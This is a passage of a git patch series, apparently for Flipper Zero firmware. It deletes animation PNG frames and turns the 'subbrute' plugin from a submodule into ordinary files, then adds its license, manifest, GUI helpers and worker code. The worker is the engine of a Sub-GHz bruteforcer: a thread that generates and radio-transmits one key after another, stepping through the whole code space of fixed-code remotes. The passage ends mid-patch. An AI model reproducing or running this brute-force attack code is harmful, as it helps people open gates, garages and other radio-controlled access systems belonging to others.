b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_7.png deleted file mode 100644 index cc4f5cbfff2c3c96ad0a63df6c9a20631c04b5ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1642 zcmV-w29^1VP)=Kfb^KBn|WR$3dY?YOH_4hAF8(nusn zDW%q03*k79^5Xa4!;N1`DYe!j-`x>U*ux5ZDB_qRAN3FHC7_}5XTD3XpJFovm4BZS6jePmcI1OK* z^&QRY{k-^(o`6Z^09Jq0z}8$XO!TrvA5uAh)vraSG!Spg-?NN@*y2SFM=7P2a*kSQ z46ofRTsTLj0`bQ7FvDGH_!0R2G02K^ug#x?Y&!xT@u-jg^k9|oufSM8a)46)FKjjw zWEeop8N6?QOC)E&1Nb95sI!*|MphA4!pIpxvcPM6j8pDq{VgC{x@qmmcukI1Em%g5 zjQQ>OSe-Juv}cwX(D*2##;1PiTzpS&<&gMmU@5U1yxwX;8dw{jiE47VnU#Z-bqCa1 zZ3aLe@EoC(zUl!nh5Q{MqF^5FT!vMR%qVTIj-!Zw3Qc_+tjW=LksJXRITva_jS1ilYI6b*1d6t74q)X3 z9NHBzlJ6lq{_5bt#C7;*g4>(glrYz zeV?sNqH<;D@TPYn!K$POF?<3TY zoS}s+D8gk96WxcFGiW)0)-U(B()dVk)31UNP*fp@;KuS2GfNiDA6b|6ek2{s<7ai` zf5)~S0j==PCUgX#wsky2)_{<4rddYQ)-@vXxgKfk6b6WRpw=gyLvBjjpy%xo*&ay# zD*Be|w~irCH=2VDzX_DIjg+s^IajXy#$pX?gVLF_b!9Ny_qy^Bd0<7lJif! z3f9hV`Hnk{HBO$N{6|7lfVHkDJfqEa3dsOmH}bvIrF=j92tZVXgh!JV&4D;j6wFL* zRxm)1laMYn=HM9W04Uj@w&ny8c;hn0?xB7ubGNah&R}7v185$nB{egn)PlFJ2zDEH zgz-z6d=H=*dY9ozw#+|xp9a2{-Nr>vT4PqXQyn0>81JaqwJ!AC6^xCH-@31*H-T1; zAls`Fx(u#h?5OdzAd>HwIsg}JWvN%o83?R_9Y%~H947onib^Zt4I8lnf&J?{$Q1V(7`BIeH_0M0tB_ z2Ox~3b1$(Rp{}U2MV!RiOK2@mZ~($cI-g~HO-3f-qa~i!KCR(N4nSBz=OcmcJw_Q{ zdq)^{6F4H#83mpbP diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_8.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_8.png deleted file mode 100644 index 1a1fe5d2d4a034e644e717e621cc315e92baa085..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1694 zcmV;P24VS$P)4r{O-HzUS&p5R;KO>M# z+Ns(`ZLk{?OfvwQ`TQ9P8p-JuXYD`c0y0zsSmRb!&&WCp{5ss*!)`2)MW_a_#v z8_F}>SjYRRgctPDckYCvwbom+Gr;>hwXh%~BX>3vr7yzhmp~)vY4AVk%d;2V?0E7_ z_x`5O0VMP3XPKHpVv7i(K|R)}a{3M|@>K)0_MHKAypjpHAtQGX6=$@R)jaEGH38Y%#$(fD-{x+~RKU1SM1Hv5MXI2*SIn|wvw0=dASXpR#Fd2Y@ z*9fi6bq^9#ctD*$#-(m#qotd#! z7&=cefFzVM0%r#F-hdmFJ4$l~?*_Cx1JC)I4tIx?jHLlU7vk+%gb6g~NH=$MjII^A z#j9{`1!Ze{s(@4nl{0|0FlPnyp1?Z}tU#0AK{|lQu^_d8J3&e+{#0v#Y=!SB!-D`( zk_QLXPg*0g56j_PNA#W|15byD9LtXUsRn>`i82E&7g3VV<8m}udTUPeoGBeoS|Fc^ zsM9~5P56HR3Dtoh$+c+TTN|Nct1GbNYb?O^wb;o5VpC~4VdShEyfMRREIq44&Sg+%*wEDJOVs+|A906QR4-2V#9$ghOd-5~Xh_MX;#R0hHFdw^L~JBxP~){h2nj5C0ARM7P` z8IsP@I+roP3{6`yrD(4P!YtMtO)sfX<6|7iepht?=`VvUMKz;VSL0crLB(lY%3w*3 zXLLSKT2qsW$WL_vm9S{7s*A|HKPWdEe3H)E8IKrUJKIrRwx|K#Z3H_rQ3uZiLDu=y z_!(#!8x4Zl^-G^KH2{Z4XHvv-dbO%wX&pp;FVifiSjU{Fs}}?r(^uC5r?-I-r+P-^ z^CLP$;W<~*7df*t;BqBhFJXYp2CUCfBSkaZlZnok^yTxdAVA?Ur&VAss{s(Dd3`{Y z)6UKeth1FGkFJZ-zNHhF7by(6j@I9iOs6^_&yxQMcov>WmXlCS|d{&BJ~r(0H<~V9t~=d zEoDwrZL3I&%F8eXcLsky6M$CLuYGfDusiQ9G0z6Oy z@=cr>kBIXvs;xNFXTaHHi!LAoFO#Iqsbl~P(mCzvs#WRMdoz%Z(XAPPBSWdtqRCs^ zg4B^{x_ZT!Br^l6U5q?03jisrHG^cSmabKud1%mTZCh2V*?a8fZwm(S44|F6vqfA6 z$eqQQNB@q>%j}~f2rjDukp7s@jnoKqEYq%O@*?kBEv@uk#uZw72?xOrMIZ{xh+04) zK_kuA)|zb_z26a;T7rzVLN&n3>a-e20VWwED~pa->B}iwT6<=_@G&qL0KKHxDPXJ& zlg1;mq_KhQ-lMj&Dt$}#bPa$gx^p0);})H2>`}4bXkbbm1fu(N4e-=Jps1LeMYMB3 z+R11TKt3oMk oNVkHS0El9jKv<2P0s#$zUs0JT=-M&wV*mgE07*qoM6N<$f;eRor2qf` diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_9.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_9.png deleted file mode 100644 index a19da7382eadaf0bc885f76da8dec3899034528c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1605 zcmV-L2DVtUtjJl073;Y!fgJw#SBa zU#+#?dvC3^_IkY<|C>YV!@uKL-bVt;&q9(vEAubn%@>jksTm&;F*NTRky(Y+@}Gh? z8HU>4`;fuOd3axGd<85Ws^_{hB0=!O0N7c(PVk~19YVS$jsF+9b%+GPF9zVP6)hbUmI%4KoKdpTq^YZW62|a^E z zY0QwpUt*AtRs^;-7NH|fK=M88%K5vDe}bchY5>ppS|zSs%NB;34&HkO>~k8f(v3Ub z2XD0Y?FgegfXLWP#UF9XlZ|~6zP8cYy8zxXQ`kv;v^0X_Glq_&j*5EV>G)VTz0?rd zHCQzU9}`8?_|koA2l7{8GQh9S$%v22jBX7_jTUjjtjx$@Nmb0V~=x7SPTIyj_4c2i}Vok(vId%tZ0OzT&r)SPgJMX=Lw?-8J)G} zN#H64Ta%B038Om_4O+1n-Kj(ml5nnF$Qpe~4Ul009ET5LVI&PmGNig<6t^=vYf~qI z5rsy^q2qY_d=K6ZM5_F=y3g!%vcN;DD&sHN1yr0R%oczd`FPKoOJXZ)7c+xWBky1U zu6U(SRqs-Nwm-sogSExv_i+*V{h5@qB*LAx+ySalk)sh@9?~oRjXI!_t?$tS6UXgr z%N<~6Zk&O{1d;S$MZWZ%=F-|LjJ~V}&~oAm88gfvIj3d#=sj(brFoAq{t5=*s49pM zBQiNN5k2!ybk0cRTQvfgceU|*@3jX(lGo3`lNFhZ43IIhcD-uRNmjMok#@<;AYAl} zQ{W=uI4j3y^+RNwX@xN~9A5)y#_)`($(kAC>4!RIvDyi;Y4h?L0COrj1E;!GuojIw z2iI{%rycZ6^YE6>kIy}tPL>=5p%c&t!TU)D(F{ulDmHJd-2LsGF39Ut>f5|QY4LLF%(Uxrk zwWyTtY2#Mc3OFaumznUb3`2#Q`KoL>8RBV%Nf9e zRv%y__CEHneFj61>DlJTW=ZS5ikuyQ#!E-H^vCOy!VIKkMG@g@BT-uUG|3)f&p zxt0cIRGnp&6O5e+jHtZJeh={DfeKUL!&&`TL(8#O&WemU}6&X;p;tIr-dH#E) zmLuSU&B(IuXHv?Fg0WiOtsH Date: Tue, 14 Mar 2023 17:08:30 +0000 Subject: [PATCH 079/329] Remove subbrute submodule --- .gitmodules | 3 --- applications/plugins/subbrute | 1 - 2 files changed, 4 deletions(-) delete mode 160000 applications/plugins/subbrute diff --git a/.gitmodules b/.gitmodules index de580c3c0..a97e0933a 100644 --- a/.gitmodules +++ b/.gitmodules @@ -28,9 +28,6 @@ [submodule "lib/cxxheaderparser"] path = lib/cxxheaderparser url = https://github.com/robotpy/cxxheaderparser.git -[submodule "applications/plugins/subbrute"] - path = applications/plugins/subbrute - url = https://github.com/derskythe/flipperzero-subbrute.git [submodule "applications/plugins/dap_link/lib/free-dap"] path = applications/plugins/dap_link/lib/free-dap url = https://github.com/ataradov/free-dap.git diff --git a/applications/plugins/subbrute b/applications/plugins/subbrute deleted file mode 160000 index 49d32f8ed..000000000 --- a/applications/plugins/subbrute +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 49d32f8ed6790d3b9a99f261ad306766325a691a From e328ed854997fb51e84fb90979648d8bad0ac89c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 17:09:23 +0000 Subject: [PATCH 080/329] Add subbrute as non-submodule --- applications/plugins/subbrute/LICENSE | 21 + applications/plugins/subbrute/application.fam | 13 + .../subbrute/helpers/gui_top_buttons.c | 59 ++ .../subbrute/helpers/gui_top_buttons.h | 21 + .../subbrute/helpers/subbrute_worker.c | 437 +++++++++ .../subbrute/helpers/subbrute_worker.h | 42 + .../helpers/subbrute_worker_private.h | 48 + .../subbrute/images/ButtonDown_7x4.png | Bin 0 -> 102 bytes .../plugins/subbrute/images/ButtonUp_7x4.png | Bin 0 -> 102 bytes .../subbrute/images/DolphinNice_96x59.png | Bin 0 -> 2459 bytes .../subbrute/images/Sub1ghz_14/frame_01.png | Bin 0 -> 97 bytes .../subbrute/images/Sub1ghz_14/frame_02.png | Bin 0 -> 96 bytes .../subbrute/images/Sub1ghz_14/frame_03.png | Bin 0 -> 90 bytes .../subbrute/images/Sub1ghz_14/frame_04.png | Bin 0 -> 76 bytes .../subbrute/images/Sub1ghz_14/frame_05.png | Bin 0 -> 79 bytes .../subbrute/images/Sub1ghz_14/frame_06.png | Bin 0 -> 90 bytes .../subbrute/images/Sub1ghz_14/frame_rate | 1 + .../plugins/subbrute/images/sub1_10px.png | Bin 0 -> 299 bytes .../plugins/subbrute/images/subbrute_10px.png | Bin 0 -> 1763 bytes .../plugins/subbrute/scenes/subbrute_scene.h | 29 + .../subbrute/scenes/subbrute_scene_config.h | 7 + .../scenes/subbrute_scene_load_file.c | 91 ++ .../scenes/subbrute_scene_load_select.c | 82 ++ .../scenes/subbrute_scene_run_attack.c | 104 +++ .../scenes/subbrute_scene_save_name.c | 84 ++ .../scenes/subbrute_scene_save_success.c | 51 + .../scenes/subbrute_scene_setup_attack.c | 138 +++ .../subbrute/scenes/subbrute_scene_start.c | 89 ++ .../plugins/subbrute/scenes/subbute_scene.c | 30 + applications/plugins/subbrute/subbrute.c | 199 ++++ applications/plugins/subbrute/subbrute.h | 3 + .../plugins/subbrute/subbrute_custom_event.h | 26 + .../plugins/subbrute/subbrute_device.c | 460 +++++++++ .../plugins/subbrute/subbrute_device.h | 75 ++ applications/plugins/subbrute/subbrute_i.h | 80 ++ .../plugins/subbrute/subbrute_protocols.c | 881 ++++++++++++++++++ .../plugins/subbrute/subbrute_protocols.h | 128 +++ .../subbrute/views/subbrute_attack_view.c | 341 +++++++ .../subbrute/views/subbrute_attack_view.h | 25 + .../subbrute/views/subbrute_main_view.c | 463 +++++++++ .../subbrute/views/subbrute_main_view.h | 32 + 41 files changed, 4060 insertions(+) create mode 100644 applications/plugins/subbrute/LICENSE create mode 100644 applications/plugins/subbrute/application.fam create mode 100644 applications/plugins/subbrute/helpers/gui_top_buttons.c create mode 100644 applications/plugins/subbrute/helpers/gui_top_buttons.h create mode 100644 applications/plugins/subbrute/helpers/subbrute_worker.c create mode 100644 applications/plugins/subbrute/helpers/subbrute_worker.h create mode 100644 applications/plugins/subbrute/helpers/subbrute_worker_private.h create mode 100644 applications/plugins/subbrute/images/ButtonDown_7x4.png create mode 100644 applications/plugins/subbrute/images/ButtonUp_7x4.png create mode 100644 applications/plugins/subbrute/images/DolphinNice_96x59.png create mode 100644 applications/plugins/subbrute/images/Sub1ghz_14/frame_01.png create mode 100644 applications/plugins/subbrute/images/Sub1ghz_14/frame_02.png create mode 100644 applications/plugins/subbrute/images/Sub1ghz_14/frame_03.png create mode 100644 applications/plugins/subbrute/images/Sub1ghz_14/frame_04.png create mode 100644 applications/plugins/subbrute/images/Sub1ghz_14/frame_05.png create mode 100644 applications/plugins/subbrute/images/Sub1ghz_14/frame_06.png create mode 100644 applications/plugins/subbrute/images/Sub1ghz_14/frame_rate create mode 100644 applications/plugins/subbrute/images/sub1_10px.png create mode 100644 applications/plugins/subbrute/images/subbrute_10px.png create mode 100644 applications/plugins/subbrute/scenes/subbrute_scene.h create mode 100644 applications/plugins/subbrute/scenes/subbrute_scene_config.h create mode 100644 applications/plugins/subbrute/scenes/subbrute_scene_load_file.c create mode 100644 applications/plugins/subbrute/scenes/subbrute_scene_load_select.c create mode 100644 applications/plugins/subbrute/scenes/subbrute_scene_run_attack.c create mode 100644 applications/plugins/subbrute/scenes/subbrute_scene_save_name.c create mode 100644 applications/plugins/subbrute/scenes/subbrute_scene_save_success.c create mode 100644 applications/plugins/subbrute/scenes/subbrute_scene_setup_attack.c create mode 100644 applications/plugins/subbrute/scenes/subbrute_scene_start.c create mode 100644 applications/plugins/subbrute/scenes/subbute_scene.c create mode 100644 applications/plugins/subbrute/subbrute.c create mode 100644 applications/plugins/subbrute/subbrute.h create mode 100644 applications/plugins/subbrute/subbrute_custom_event.h create mode 100644 applications/plugins/subbrute/subbrute_device.c create mode 100644 applications/plugins/subbrute/subbrute_device.h create mode 100644 applications/plugins/subbrute/subbrute_i.h create mode 100644 applications/plugins/subbrute/subbrute_protocols.c create mode 100644 applications/plugins/subbrute/subbrute_protocols.h create mode 100644 applications/plugins/subbrute/views/subbrute_attack_view.c create mode 100644 applications/plugins/subbrute/views/subbrute_attack_view.h create mode 100644 applications/plugins/subbrute/views/subbrute_main_view.c create mode 100644 applications/plugins/subbrute/views/subbrute_main_view.h diff --git a/applications/plugins/subbrute/LICENSE b/applications/plugins/subbrute/LICENSE new file mode 100644 index 000000000..06dcf7e87 --- /dev/null +++ b/applications/plugins/subbrute/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Der Skythe + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/applications/plugins/subbrute/application.fam b/applications/plugins/subbrute/application.fam new file mode 100644 index 000000000..a03742d64 --- /dev/null +++ b/applications/plugins/subbrute/application.fam @@ -0,0 +1,13 @@ +App( + appid="SubGHz_Bruteforcer", + name="Sub-GHz Bruteforcer", + apptype=FlipperAppType.EXTERNAL, + entry_point="subbrute_app", + cdefines=["APP_SUB_BRUTE"], + requires=["gui","dialogs"], + stack_size=2 * 1024, + order=11, + fap_icon="images/subbrute_10px.png", + fap_category="Sub-GHz", + fap_icon_assets="images", +) diff --git a/applications/plugins/subbrute/helpers/gui_top_buttons.c b/applications/plugins/subbrute/helpers/gui_top_buttons.c new file mode 100644 index 000000000..0415c5ae7 --- /dev/null +++ b/applications/plugins/subbrute/helpers/gui_top_buttons.c @@ -0,0 +1,59 @@ +#include "gui_top_buttons.h" + +void elements_button_top_left(Canvas* canvas, const char* str) { + const Icon* icon = &I_ButtonUp_7x4; + + const uint8_t button_height = 12; + const uint8_t vertical_offset = 3; + const uint8_t horizontal_offset = 3; + const uint8_t string_width = canvas_string_width(canvas, str); + const uint8_t icon_h_offset = 3; + const uint8_t icon_width_with_offset = icon_get_width(icon) + icon_h_offset; + const uint8_t icon_v_offset = icon_get_height(icon) + vertical_offset; + const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset; + + const uint8_t x = 0; + const uint8_t y = 0 + button_height; + + uint8_t line_x = x + button_width; + uint8_t line_y = y - button_height; + canvas_draw_box(canvas, x, line_y, button_width, button_height); + canvas_draw_line(canvas, line_x + 0, line_y, line_x + 0, y - 1); + canvas_draw_line(canvas, line_x + 1, line_y, line_x + 1, y - 2); + canvas_draw_line(canvas, line_x + 2, line_y, line_x + 2, y - 3); + + canvas_invert_color(canvas); + canvas_draw_icon(canvas, x + horizontal_offset, y - icon_v_offset, icon); + canvas_draw_str( + canvas, x + horizontal_offset + icon_width_with_offset, y - vertical_offset, str); + canvas_invert_color(canvas); +} + +void elements_button_top_right(Canvas* canvas, const char* str) { + const Icon* icon = &I_ButtonDown_7x4; + + const uint8_t button_height = 12; + const uint8_t vertical_offset = 3; + const uint8_t horizontal_offset = 3; + const uint8_t string_width = canvas_string_width(canvas, str); + const uint8_t icon_h_offset = 3; + const uint8_t icon_width_with_offset = icon_get_width(icon) + icon_h_offset; + const uint8_t icon_v_offset = icon_get_height(icon) + vertical_offset + 1; + const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset; + + const uint8_t x = canvas_width(canvas); + const uint8_t y = 0 + button_height; + + uint8_t line_x = x - button_width; + uint8_t line_y = y - button_height; + canvas_draw_box(canvas, line_x, line_y, button_width, button_height); + canvas_draw_line(canvas, line_x - 1, line_y, line_x - 1, y - 1); + canvas_draw_line(canvas, line_x - 2, line_y, line_x - 2, y - 2); + canvas_draw_line(canvas, line_x - 3, line_y, line_x - 3, y - 3); + + canvas_invert_color(canvas); + canvas_draw_str(canvas, x - button_width + horizontal_offset, y - vertical_offset, str); + canvas_draw_icon( + canvas, x - horizontal_offset - icon_get_width(icon), y - icon_v_offset, icon); + canvas_invert_color(canvas); +} \ No newline at end of file diff --git a/applications/plugins/subbrute/helpers/gui_top_buttons.h b/applications/plugins/subbrute/helpers/gui_top_buttons.h new file mode 100644 index 000000000..b5ca507b7 --- /dev/null +++ b/applications/plugins/subbrute/helpers/gui_top_buttons.h @@ -0,0 +1,21 @@ +#pragma once + +#include +#include +#include +#include +#include + +/** + * Thanks to the author of metronome + * @param canvas + * @param str + */ +void elements_button_top_left(Canvas* canvas, const char* str); + +/** + * Thanks to the author of metronome + * @param canvas + * @param str + */ +void elements_button_top_right(Canvas* canvas, const char* str); \ No newline at end of file diff --git a/applications/plugins/subbrute/helpers/subbrute_worker.c b/applications/plugins/subbrute/helpers/subbrute_worker.c new file mode 100644 index 000000000..118e63c65 --- /dev/null +++ b/applications/plugins/subbrute/helpers/subbrute_worker.c @@ -0,0 +1,437 @@ +#include "subbrute_worker_private.h" +#include +#include +#include +#include +#include + +#define TAG "SubBruteWorker" +#define SUBBRUTE_TX_TIMEOUT 5 +#define SUBBRUTE_MANUAL_TRANSMIT_INTERVAL 400 + +SubBruteWorker* subbrute_worker_alloc() { + SubBruteWorker* instance = malloc(sizeof(SubBruteWorker)); + + instance->state = SubBruteWorkerStateIDLE; + instance->step = 0; + instance->worker_running = false; + instance->initiated = false; + instance->last_time_tx_data = 0; + instance->load_index = 0; + + instance->thread = furi_thread_alloc(); + furi_thread_set_name(instance->thread, "SubBruteAttackWorker"); + furi_thread_set_stack_size(instance->thread, 2048); + furi_thread_set_context(instance->thread, instance); + furi_thread_set_callback(instance->thread, subbrute_worker_thread); + + instance->context = NULL; + instance->callback = NULL; + + instance->decoder_result = NULL; + instance->transmitter = NULL; + instance->environment = subghz_environment_alloc(); + subghz_environment_set_protocol_registry( + instance->environment, (void*)&subghz_protocol_registry); + + instance->transmit_mode = false; + + return instance; +} + +void subbrute_worker_free(SubBruteWorker* instance) { + furi_assert(instance); + + // I don't know how to free this + instance->decoder_result = NULL; + + if(instance->transmitter != NULL) { + subghz_transmitter_free(instance->transmitter); + instance->transmitter = NULL; + } + + subghz_environment_free(instance->environment); + instance->environment = NULL; + + furi_thread_free(instance->thread); + + free(instance); +} + +uint64_t subbrute_worker_get_step(SubBruteWorker* instance) { + return instance->step; +} + +bool subbrute_worker_set_step(SubBruteWorker* instance, uint64_t step) { + furi_assert(instance); + if(!subbrute_worker_can_manual_transmit(instance)) { + FURI_LOG_W(TAG, "Cannot set step during running mode"); + return false; + } + + instance->step = step; + + return true; +} + +bool subbrute_worker_init_default_attack( + SubBruteWorker* instance, + SubBruteAttacks attack_type, + uint64_t step, + const SubBruteProtocol* protocol, + uint8_t extra_repeats) { + furi_assert(instance); + + if(instance->worker_running) { + FURI_LOG_W(TAG, "Init Worker when it's running"); + subbrute_worker_stop(instance); + } + + instance->attack = attack_type; + instance->frequency = protocol->frequency; + instance->preset = protocol->preset; + instance->file = protocol->file; + instance->step = step; + instance->bits = protocol->bits; + instance->te = protocol->te; + instance->repeat = protocol->repeat + extra_repeats; + instance->load_index = 0; + instance->file_key = 0; + instance->two_bytes = false; + + instance->max_value = + subbrute_protocol_calc_max_value(instance->attack, instance->bits, instance->two_bytes); + + instance->initiated = true; + instance->state = SubBruteWorkerStateReady; + subbrute_worker_send_callback(instance); +#ifdef FURI_DEBUG + FURI_LOG_I( + TAG, + "subbrute_worker_init_default_attack: %s, bits: %d, preset: %s, file: %s, te: %ld, repeat: %d, max_value: %lld", + subbrute_protocol_name(instance->attack), + instance->bits, + subbrute_protocol_preset(instance->preset), + subbrute_protocol_file(instance->file), + instance->te, + instance->repeat, + instance->max_value); +#endif + + return true; +} + +bool subbrute_worker_init_file_attack( + SubBruteWorker* instance, + uint64_t step, + uint8_t load_index, + uint64_t file_key, + SubBruteProtocol* protocol, + uint8_t extra_repeats, + bool two_bytes) { + furi_assert(instance); + + if(instance->worker_running) { + FURI_LOG_W(TAG, "Init Worker when it's running"); + subbrute_worker_stop(instance); + } + + instance->attack = SubBruteAttackLoadFile; + instance->frequency = protocol->frequency; + instance->preset = protocol->preset; + instance->file = protocol->file; + instance->step = step; + instance->bits = protocol->bits; + instance->te = protocol->te; + instance->load_index = load_index; + instance->repeat = protocol->repeat + extra_repeats; + instance->file_key = file_key; + instance->two_bytes = two_bytes; + + instance->max_value = + subbrute_protocol_calc_max_value(instance->attack, instance->bits, instance->two_bytes); + + instance->initiated = true; + instance->state = SubBruteWorkerStateReady; + subbrute_worker_send_callback(instance); +#ifdef FURI_DEBUG + FURI_LOG_I( + TAG, + "subbrute_worker_init_file_attack: %s, bits: %d, preset: %s, file: %s, te: %ld, repeat: %d, max_value: %lld, key: %llX", + subbrute_protocol_name(instance->attack), + instance->bits, + subbrute_protocol_preset(instance->preset), + subbrute_protocol_file(instance->file), + instance->te, + instance->repeat, + instance->max_value, + instance->file_key); +#endif + + return true; +} + +bool subbrute_worker_start(SubBruteWorker* instance) { + furi_assert(instance); + + if(!instance->initiated) { + FURI_LOG_W(TAG, "Worker not init!"); + return false; + } + + if(instance->worker_running) { + FURI_LOG_W(TAG, "Worker is already running!"); + return false; + } + if(instance->state != SubBruteWorkerStateReady && + instance->state != SubBruteWorkerStateFinished) { + FURI_LOG_W(TAG, "Worker cannot start, invalid device state: %d", instance->state); + return false; + } + + instance->worker_running = true; + furi_thread_start(instance->thread); + + return true; +} + +void subbrute_worker_stop(SubBruteWorker* instance) { + furi_assert(instance); + + if(!instance->worker_running) { + return; + } + + instance->worker_running = false; + furi_thread_join(instance->thread); + + furi_hal_subghz_set_path(FuriHalSubGhzPathIsolate); + furi_hal_subghz_sleep(); +} + +bool subbrute_worker_transmit_current_key(SubBruteWorker* instance, uint64_t step) { + furi_assert(instance); + + if(!instance->initiated) { + FURI_LOG_W(TAG, "Worker not init!"); + return false; + } + if(instance->worker_running) { + FURI_LOG_W(TAG, "Worker in running state!"); + return false; + } + if(instance->state != SubBruteWorkerStateReady && + instance->state != SubBruteWorkerStateFinished) { + FURI_LOG_W(TAG, "Invalid state for running worker! State: %d", instance->state); + return false; + } + + uint32_t ticks = furi_get_tick(); + if((ticks - instance->last_time_tx_data) < SUBBRUTE_MANUAL_TRANSMIT_INTERVAL) { +#if FURI_DEBUG + FURI_LOG_D(TAG, "Need to wait, current: %ld", ticks - instance->last_time_tx_data); +#endif + return false; + } + + instance->last_time_tx_data = ticks; + instance->step = step; + + bool result; + instance->protocol_name = subbrute_protocol_file(instance->file); + FlipperFormat* flipper_format = flipper_format_string_alloc(); + Stream* stream = flipper_format_get_raw_stream(flipper_format); + + stream_clean(stream); + + if(instance->attack == SubBruteAttackLoadFile) { + subbrute_protocol_file_payload( + stream, + step, + instance->bits, + instance->te, + instance->repeat, + instance->load_index, + instance->file_key, + instance->two_bytes); + } else { + subbrute_protocol_default_payload( + stream, instance->file, step, instance->bits, instance->te, instance->repeat); + } + + // size_t written = stream_write_string(stream, payload); + // if(written <= 0) { + // FURI_LOG_W(TAG, "Error creating packet! EXIT"); + // result = false; + // } else { + subbrute_worker_subghz_transmit(instance, flipper_format); + + result = true; +#if FURI_DEBUG + FURI_LOG_D(TAG, "Manual transmit done"); +#endif + // } + + flipper_format_free(flipper_format); + // furi_string_free(payload); + + return result; +} + +bool subbrute_worker_is_running(SubBruteWorker* instance) { + return instance->worker_running; +} + +bool subbrute_worker_can_manual_transmit(SubBruteWorker* instance) { + furi_assert(instance); + + if(!instance->initiated) { + FURI_LOG_W(TAG, "Worker not init!"); + return false; + } + + return !instance->worker_running && instance->state != SubBruteWorkerStateIDLE && + instance->state != SubBruteWorkerStateTx && + ((furi_get_tick() - instance->last_time_tx_data) > SUBBRUTE_MANUAL_TRANSMIT_INTERVAL); +} + +void subbrute_worker_set_callback( + SubBruteWorker* instance, + SubBruteWorkerCallback callback, + void* context) { + furi_assert(instance); + + instance->callback = callback; + instance->context = context; +} + +void subbrute_worker_subghz_transmit(SubBruteWorker* instance, FlipperFormat* flipper_format) { + while(instance->transmit_mode) { + furi_delay_ms(SUBBRUTE_TX_TIMEOUT); + } + instance->transmit_mode = true; + if(instance->transmitter != NULL) { + subghz_transmitter_free(instance->transmitter); + instance->transmitter = NULL; + } + instance->transmitter = + subghz_transmitter_alloc_init(instance->environment, instance->protocol_name); + subghz_transmitter_deserialize(instance->transmitter, flipper_format); + furi_hal_subghz_reset(); + furi_hal_subghz_load_preset(instance->preset); + furi_hal_subghz_set_frequency_and_path(instance->frequency); + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, instance->transmitter); + + while(!furi_hal_subghz_is_async_tx_complete()) { + furi_delay_ms(SUBBRUTE_TX_TIMEOUT); + } + furi_hal_subghz_stop_async_tx(); + + furi_hal_subghz_set_path(FuriHalSubGhzPathIsolate); + furi_hal_subghz_sleep(); + subghz_transmitter_free(instance->transmitter); + instance->transmitter = NULL; + + instance->transmit_mode = false; +} + +void subbrute_worker_send_callback(SubBruteWorker* instance) { + if(instance->callback != NULL) { + instance->callback(instance->context, instance->state); + } +} + +/** + * Entrypoint for worker + * + * @param context SubBruteWorker* + * @return 0 if ok + */ +int32_t subbrute_worker_thread(void* context) { + furi_assert(context); + SubBruteWorker* instance = (SubBruteWorker*)context; + + if(!instance->worker_running) { + FURI_LOG_W(TAG, "Worker is not set to running state!"); + return -1; + } + if(instance->state != SubBruteWorkerStateReady && + instance->state != SubBruteWorkerStateFinished) { + FURI_LOG_W(TAG, "Invalid state for running worker! State: %d", instance->state); + return -2; + } +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "Worker start"); +#endif + + SubBruteWorkerState local_state = instance->state = SubBruteWorkerStateTx; + subbrute_worker_send_callback(instance); + + instance->protocol_name = subbrute_protocol_file(instance->file); + + FlipperFormat* flipper_format = flipper_format_string_alloc(); + Stream* stream = flipper_format_get_raw_stream(flipper_format); + + while(instance->worker_running) { + stream_clean(stream); + if(instance->attack == SubBruteAttackLoadFile) { + subbrute_protocol_file_payload( + stream, + instance->step, + instance->bits, + instance->te, + instance->repeat, + instance->load_index, + instance->file_key, + instance->two_bytes); + } else { + subbrute_protocol_default_payload( + stream, + instance->file, + instance->step, + instance->bits, + instance->te, + instance->repeat); + } +#ifdef FURI_DEBUG + //FURI_LOG_I(TAG, "Payload: %s", furi_string_get_cstr(payload)); + //furi_delay_ms(SUBBRUTE_MANUAL_TRANSMIT_INTERVAL / 4); +#endif + + // size_t written = stream_write_stream_write_string(stream, payload); + // if(written <= 0) { + // FURI_LOG_W(TAG, "Error creating packet! BREAK"); + // instance->worker_running = false; + // local_state = SubBruteWorkerStateIDLE; + // furi_string_free(payload); + // break; + // } + + subbrute_worker_subghz_transmit(instance, flipper_format); + + if(instance->step + 1 > instance->max_value) { +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "Worker finished to end"); +#endif + local_state = SubBruteWorkerStateFinished; + // furi_string_free(payload); + break; + } + instance->step++; + + // furi_string_free(payload); + furi_delay_ms(SUBBRUTE_TX_TIMEOUT); + } + + flipper_format_free(flipper_format); + + instance->worker_running = false; // Because we have error states + instance->state = local_state == SubBruteWorkerStateTx ? SubBruteWorkerStateReady : + local_state; + subbrute_worker_send_callback(instance); + +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "Worker stop"); +#endif + return 0; +} diff --git 